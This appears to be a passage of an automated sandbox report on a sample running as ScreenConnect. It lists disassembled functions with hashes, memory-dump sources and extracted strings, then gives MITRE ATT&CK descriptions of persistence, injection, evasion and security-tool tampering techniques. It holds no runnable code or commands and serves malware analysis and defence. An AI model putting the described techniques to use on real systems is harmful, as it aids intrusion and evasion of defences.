Opcode Fuzzy Hash: 5e91e7c191de2721839b4a6c7bcf7da2377f2d2c60b2e0d625c8c9d9b705ab8f
Instruction Fuzzy Hash: AA22E331D1DAAB8FF7A9BE2894556B533D1EF94780F5441BAD42EC72C7DD2CA8068280

Function 00007FF849226A08 Relevance: 3.2, Strings: 2, Instructions: 742
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@b!I, xrefs: 00007FF8492270A3
@`!I, xrefs: 00007FF849227056

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID: @`!I$@b!I
API String ID: 0-3463773438
Opcode ID: 38a5518e87f9f2f4f285c132b486d5a86eb853f9fd69fa6f082b7f61559cdcff
Instruction ID: 70b13ddfb634e262fbabd1569c94a4874227ee7f4e6c880a70798936432fa0c3
Opcode Fuzzy Hash: 38a5518e87f9f2f4f285c132b486d5a86eb853f9fd69fa6f082b7f61559cdcff
Instruction Fuzzy Hash: 6032F232E0DAA78FF7A9BB6894556B977E1EF94380F1440BAC07DC71D3DE29A9058340

Function 00007FF8492201D0 Relevance: 1.9, Strings: 1, Instructions: 629
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x!!I, xrefs: 00007FF84922024A

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID: x!!I
API String ID: 0-903845743
Opcode ID: fbef30b56ee4beb74f46a7e562059b1f6b063351fe111bb563fd0fd5fedff192
Instruction ID: 52d6bddbbbca82820e98d1ca613daa6c4d452847d0e6c77b09d24453063db284
Opcode Fuzzy Hash: fbef30b56ee4beb74f46a7e562059b1f6b063351fe111bb563fd0fd5fedff192
Instruction Fuzzy Hash: 87121131A4DA9A8FF7A8FB2C94556B537D1FFA8380F1440BAD46DC72D6DD28AC468340

Function 00007FF849226A6B Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d25a0b1df98609af60d986cad8b533295182b1fe9bdc3762aa6b3458e301a8de
Instruction ID: a9bd9277ff5c0246222413f58c014f9b30e3bb31786267a4c1a25d0637ee0ba1
Opcode Fuzzy Hash: d25a0b1df98609af60d986cad8b533295182b1fe9bdc3762aa6b3458e301a8de
Instruction Fuzzy Hash: 8DE1D333E0DEA78EF779BF6884556B96792EF94781F14407AC03EC71C2DE29AA058740

Function 00007FF849222859 Relevance: 7.8, Strings: 6, Instructions: 300
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Z!I, xrefs: 00007FF8492228D0
`H, xrefs: 00007FF84922293E
X!I, xrefs: 00007FF849222883
PH, xrefs: 00007FF84922290A
XH, xrefs: 00007FF8492229A8
{2, xrefs: 00007FF849222859

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID: PH$XH$`H$X!I$Z!I${2
API String ID: 0-1852867366
Opcode ID: 4d084d04198e9ea2e2272a4772d6ee0a7ddf03d4a3fb5bf7c021c0720535b207
Instruction ID: 9c7edbc04506bf90167d2922647ab57ec35b77fef45bd7bc22a057cf87bbb430
Opcode Fuzzy Hash: 4d084d04198e9ea2e2272a4772d6ee0a7ddf03d4a3fb5bf7c021c0720535b207
Instruction Fuzzy Hash: 82910871A0C99A4FEB98EF289851AB537E1FF64750F1405BDD06EC7287DE29F8068780

Function 00007FF848F18014 Relevance: 1.7, APIs: 1, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetProcessMitigationPolicy.KERNELBASE ref: 00007FF848F18142

Memory Dump Source

Source File: 0000000C.00000002.3299529708.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f10000_ScreenConnect.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 5aeba379722867c92646d88d95da6835f5ec7832318175c4ce25436a5b804fac
Instruction ID: f25cf8dfcf14d8d09b741f9f312170a048f75e0169dcda7f12635c55ebdd2ae0
Opcode Fuzzy Hash: 5aeba379722867c92646d88d95da6835f5ec7832318175c4ce25436a5b804fac
Instruction Fuzzy Hash: 75515831C1CB484FDB15AFA8984A5F9BBE0EF55750F04017EE489C3192DF68A846CB95

Function 00007FF848F13AA2 Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetProcessMitigationPolicy.KERNELBASE ref: 00007FF848F18142

Memory Dump Source

Source File: 0000000C.00000002.3299529708.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f10000_ScreenConnect.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 8d12d78ff30a10a4ae70b9015ec686206be755e5318f8b2bfec91809a2d54926
Instruction ID: 4f5062ce2a2722717206b3177d7c54607bd648c9b0ebfa7aca18ea9323aef446
Opcode Fuzzy Hash: 8d12d78ff30a10a4ae70b9015ec686206be755e5318f8b2bfec91809a2d54926
Instruction Fuzzy Hash: 5121D73191CB188FDB18AF9CD84A6FAB7E0EB55711F00413EE04AD3651DB74B8458B95

Function 00007FF849225F0A Relevance: 1.6, Strings: 1, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(O"I, xrefs: 00007FF849226180

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID: (O"I
API String ID: 0-2545298724
Opcode ID: 0a160fb43ba8c347614bcb8da3a555181ecc0073fb8d29cd277dbb9464657f57
Instruction ID: f9eda17d878dc7ad20c1735640f91c2de6c3c93500e05b5f06dea00d805303e2
Opcode Fuzzy Hash: 0a160fb43ba8c347614bcb8da3a555181ecc0073fb8d29cd277dbb9464657f57
Instruction Fuzzy Hash: 73A1F631E1D9965FF7A8BE2880516B533E1FFA4780F14457EC42EC32C7DE28A9458780

Function 00007FF849225B64 Relevance: 1.5, Strings: 1, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x!!I, xrefs: 00007FF849225C97

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID: x!!I
API String ID: 0-903845743
Opcode ID: 0f437839b47f8ba1fc3b22e7d3d7d7aa3bc47c83a2fd7ba448caa69b1c787f3d
Instruction ID: 25e85f5cdcf3c052216f446f0240900ff2bc5e26b2597890dc1ab08b17ff1187
Opcode Fuzzy Hash: 0f437839b47f8ba1fc3b22e7d3d7d7aa3bc47c83a2fd7ba448caa69b1c787f3d
Instruction Fuzzy Hash: D791782191E5D74FF795BB7864515F93BA0EF41798F0842BAD0ACCB0C7EE1CA8068356

Function 00007FF8492200C5 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

P!!I, xrefs: 00007FF84922010D

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID: P!!I
API String ID: 0-1348014270
Opcode ID: 2b02ba1dc1053c5f7692232c69dbaa94cdf1c372865f064a1777b33d950ad4d7
Instruction ID: 5ef563c6f016fbc4758b6b7c2fb94539a6d7d19c5e5d443b5e9dfc5d601a4fac
Opcode Fuzzy Hash: 2b02ba1dc1053c5f7692232c69dbaa94cdf1c372865f064a1777b33d950ad4d7
Instruction Fuzzy Hash: 0E11E131E4DAD94FEBA4FB2884556B97BF0FF6A340F4400AAD11DC32D2CE29A8058341

Function 00007FF849224A85 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89a5f76c989a7ae3eecb1141d09e8174f6b990a24d4a93dbcb85e574a0bb0ba4
Instruction ID: 4720e8f2fb80fa25c92e3a6a124e672f3af1cca98424b5e254054cb9f5f29c15
Opcode Fuzzy Hash: 89a5f76c989a7ae3eecb1141d09e8174f6b990a24d4a93dbcb85e574a0bb0ba4
Instruction Fuzzy Hash: A5C1383290DE9A1FF769FF2894529B537E0EF60790B04067DD46E87187EE18B90A8781

Function 00007FF849226CF0 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a05702dace38334808a70656e1e52e590a9d8cbdb58b4de83ce326e9209bb8d
Instruction ID: c843bced0b4021c162e0f9b252671d4509c6a20ef40a003a5f2eb2a5020f5de6
Opcode Fuzzy Hash: 1a05702dace38334808a70656e1e52e590a9d8cbdb58b4de83ce326e9209bb8d
Instruction Fuzzy Hash: 88817532E1CA678EFBB5FF6490516B962D2FF94784F50443AD03EC71C2DE29B9028644

Function 00007FF849223C1A Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e76fa8902e7ad08dcd9b7dbbcb72678cc14c075dd5a9af435bbd64280c7ba7c
Instruction ID: 94d79aaa4da23a98735e0d2071257688f9c56567c55e1f328f32fe4e13db467b
Opcode Fuzzy Hash: 2e76fa8902e7ad08dcd9b7dbbcb72678cc14c075dd5a9af435bbd64280c7ba7c
Instruction Fuzzy Hash: 9961063464CA598FDBDDEF18C491AA573E2FF99344B2445A9C02DCB68BCA25EC47C740

Function 00007FF849221208 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57abb39cf0779e41eece551f53cc10eb42275cc0fe5f9088527da059ca9668c7
Instruction ID: e2bde3986cd7fcb944965b9d90cad290706a50dcc2d7fb04bf41816368b383db
Opcode Fuzzy Hash: 57abb39cf0779e41eece551f53cc10eb42275cc0fe5f9088527da059ca9668c7
Instruction Fuzzy Hash: 2F41E827D0D6E25FE316AF7868658E5BF60EF1325970901F7D0A8D7093E909680AC761

Function 00007FF849220789 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51e55ce9ab6616f5c8eff153a4bafbb750d5620242344111b068e1f6f41056d6
Instruction ID: 5c640a75aa7bb63db056c03b7fa0908b7f35c7805b6d5475951d712271312ddd
Opcode Fuzzy Hash: 51e55ce9ab6616f5c8eff153a4bafbb750d5620242344111b068e1f6f41056d6
Instruction Fuzzy Hash: EC315330A0D98E8FDB94EF18C4509BA77A1FF59354B5406A9D42DC72C2CB35EC52CB81

Function 00007FF8492284F9 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 365bbce5bd35f3df4a366eb42f7fefcec64fb6490282b1ff0fe66cf399652e87
Instruction ID: 27cb256692f3c3dd8d7959b06cce821d624388c68c18b4934a714a8430f17775
Opcode Fuzzy Hash: 365bbce5bd35f3df4a366eb42f7fefcec64fb6490282b1ff0fe66cf399652e87
Instruction Fuzzy Hash: 7031F833E0CAE94FFBA6AB6858211E83BB0FF55354F0600A7E56CD7192DE29D8108342

Function 00007FF8492280F8 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0701ba7e28fba0e0ac8ef449067f6c8abf63cb3d000563c1b677e11ae54ced9f
Instruction ID: 76c5d086dc09c54a9a232a01b999fb8afd78a0ee3ef077cb54504d98643f1469
Opcode Fuzzy Hash: 0701ba7e28fba0e0ac8ef449067f6c8abf63cb3d000563c1b677e11ae54ced9f
Instruction Fuzzy Hash: 4731B132E0D9A98FFB65BE29A8511E97BA1FF98344F040179E06CC31D2DF28A806C745

Function 00007FF8492207A0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a0cdb49730904d54b021fa77cd2728465a35d1f08039d96f70c4a01daa8e288
Instruction ID: 2292f68c6d206f398b93dacccbd5c4c83906f25d9e85a08ac2f54d687a997c18
Opcode Fuzzy Hash: 6a0cdb49730904d54b021fa77cd2728465a35d1f08039d96f70c4a01daa8e288
Instruction Fuzzy Hash: C9310A30A4995E8FEBD8EF18D451ABA73E2FF68354B500569D42DC7285CB35EC52CB80

Function 00007FF8492281AA Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd6c40e57ea36716aae686e56812c419316720b8f3883fd203944adaf97c2547
Instruction ID: f4997c650ac1d8bccab448377a930e8ba2fc51e2eefc0b76b729a1ee058969a1
Opcode Fuzzy Hash: bd6c40e57ea36716aae686e56812c419316720b8f3883fd203944adaf97c2547
Instruction Fuzzy Hash: DB21063180EAD94FE766AB3498111A67BE1FF95360B0402BAD099C7592DB2CA846C351

Function 00007FF84922533D Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f20553a96c55dccd14f858a5682f34ad0c3145b763eef150b1b4b541896a9921
Instruction ID: eb6d4d8c128e0d1cc2bc2d7e8df89aa9ce71163611c4cd9887bf8ca6229cbf01
Opcode Fuzzy Hash: f20553a96c55dccd14f858a5682f34ad0c3145b763eef150b1b4b541896a9921
Instruction Fuzzy Hash: 2611A272D0CADA8FEBA5EF6498664B87FE0FF56304F1550AAD068C3292DA74A900C701

Function 00007FF849222987 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b10468927861fc58818b8b33aeac5fe3644847d07b8844cbbda3ee012c8733b
Instruction ID: 31e66e41355bfe08363084c4029d6604735b7f14ac828c17954279335400f239
Opcode Fuzzy Hash: 4b10468927861fc58818b8b33aeac5fe3644847d07b8844cbbda3ee012c8733b
Instruction Fuzzy Hash: 49119070A0C95A8FEB99EF288050B6577E1FF54344F1444B8C42ECB287CE29E84AC780

Function 00007FF849224429 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f006a779c03ab86e3fe56147b40c9c03cd826adadc8230eaf8b2eb18c5f4234a
Instruction ID: 99ada042f8e4e39dfd7372d899e5245b78842b2016c24a73c3c2a0025b07c379
Opcode Fuzzy Hash: f006a779c03ab86e3fe56147b40c9c03cd826adadc8230eaf8b2eb18c5f4234a
Instruction Fuzzy Hash: 8C11E02490DAE70EF779A72954602746AE1EF81280F1981BAC469C61D2DD2C9C89C301

Function 00007FF8492229F0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 620de0ddacca7d8ff308c2cbb5e82a5ef50c3685b25b362b18aa45d6cb839f5c
Instruction ID: 72b9d94dd7b52eeee86197c62cb5936fe2edfcaf69ff75c6166ac46e74c07a23
Opcode Fuzzy Hash: 620de0ddacca7d8ff308c2cbb5e82a5ef50c3685b25b362b18aa45d6cb839f5c
Instruction Fuzzy Hash: 83119470A1C94A4FEB99EF28C451B6577E1FF54744F0444B8C46DCB287DE29E849C780

Function 00007FF849223BB9 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5fa20c7930078b5cd9bfca259f8a4dbd3074e51c3feab492086f01c4575227c
Instruction ID: 70479a36e0a3bf44fce19f37c07788231fbc1a47eb582bdb5212a0b884b1ff50
Opcode Fuzzy Hash: c5fa20c7930078b5cd9bfca259f8a4dbd3074e51c3feab492086f01c4575227c
Instruction Fuzzy Hash: 5DF0303540D6DC5FCB52EB64D4558D67FB0EF16311B0501C7E059CB052D7619A59CB82

Function 00007FF849220741 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9a34cbd2f8670be270df6b3b01e87cf37e2671066ba109eea8679aab049ede3
Instruction ID: d47bccf9291c717e68e18e9a570fc2c7f18902dbba00e32e1c1cb01fe4f54e5e
Opcode Fuzzy Hash: f9a34cbd2f8670be270df6b3b01e87cf37e2671066ba109eea8679aab049ede3
Instruction Fuzzy Hash: CFE06D6110E3D40FD7569B3484A88E57F609D1321431940EBD4858F0A3E5158989C752

Function 00007FF849224440 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f95d4284f50e2f9fb7c11800f3cf52e4d157def6f120d6c4a0d2049857c5d4f1
Instruction ID: 2dede87515e823203469f4a51e25ae53619c9064d4a353977c06c0b262aaab56
Opcode Fuzzy Hash: f95d4284f50e2f9fb7c11800f3cf52e4d157def6f120d6c4a0d2049857c5d4f1
Instruction Fuzzy Hash: 49E0C225D4DA270AFB7C3A3574913B560D08F44391F0940BA983DC00D5DE6C9CC5C551

Function 00007FF849227F2A Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c3a9d049ff25b08266e7921892b498fedb2ab1cf8801e6fd39512a5118f2919
Instruction ID: fab3af01954616d8672ae314d8a4bb1b3513fe47a8bd5e153af8ecaedb7c1b27
Opcode Fuzzy Hash: 7c3a9d049ff25b08266e7921892b498fedb2ab1cf8801e6fd39512a5118f2919
Instruction Fuzzy Hash: 7FD09E12F6CCAA0EA5E4F57C24562B902C6E7A8AD0B9410B6D56CC728ADD0D5D8603C1

Function 00007FF849222A8F Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 009ba7627cd08e8f5e27f9d9074874e92b5eccc3bcbde701a23e554ae68d7338
Instruction ID: 7b821aa32bb9f26bf9ce0eb8ba91ea5bb5a034a924b4bbc9c7940d016042a0e0
Opcode Fuzzy Hash: 009ba7627cd08e8f5e27f9d9074874e92b5eccc3bcbde701a23e554ae68d7338
Instruction Fuzzy Hash: 70C09B24E1C5564EF155FF24444117D11526FCC340F514435E41D851C7CE3C7D115549

Function 00007FF8492227D1 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3304323030.00007FF849220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849220000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81643db2a04e7e88cbb3582a1e946b501e792ddec3d1a8225f972c8b9467ec06
Instruction ID: dd2cf3cfe9f42d599276eb752827a4f6b475d6a5e4a0700233f0daf7ae93c64e
Opcode Fuzzy Hash: 81643db2a04e7e88cbb3582a1e946b501e792ddec3d1a8225f972c8b9467ec06
Instruction Fuzzy Hash: 20A00210E0D9664DF075BA14000117D00414F94780F214535E42E851CBDE5D6D96519A

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

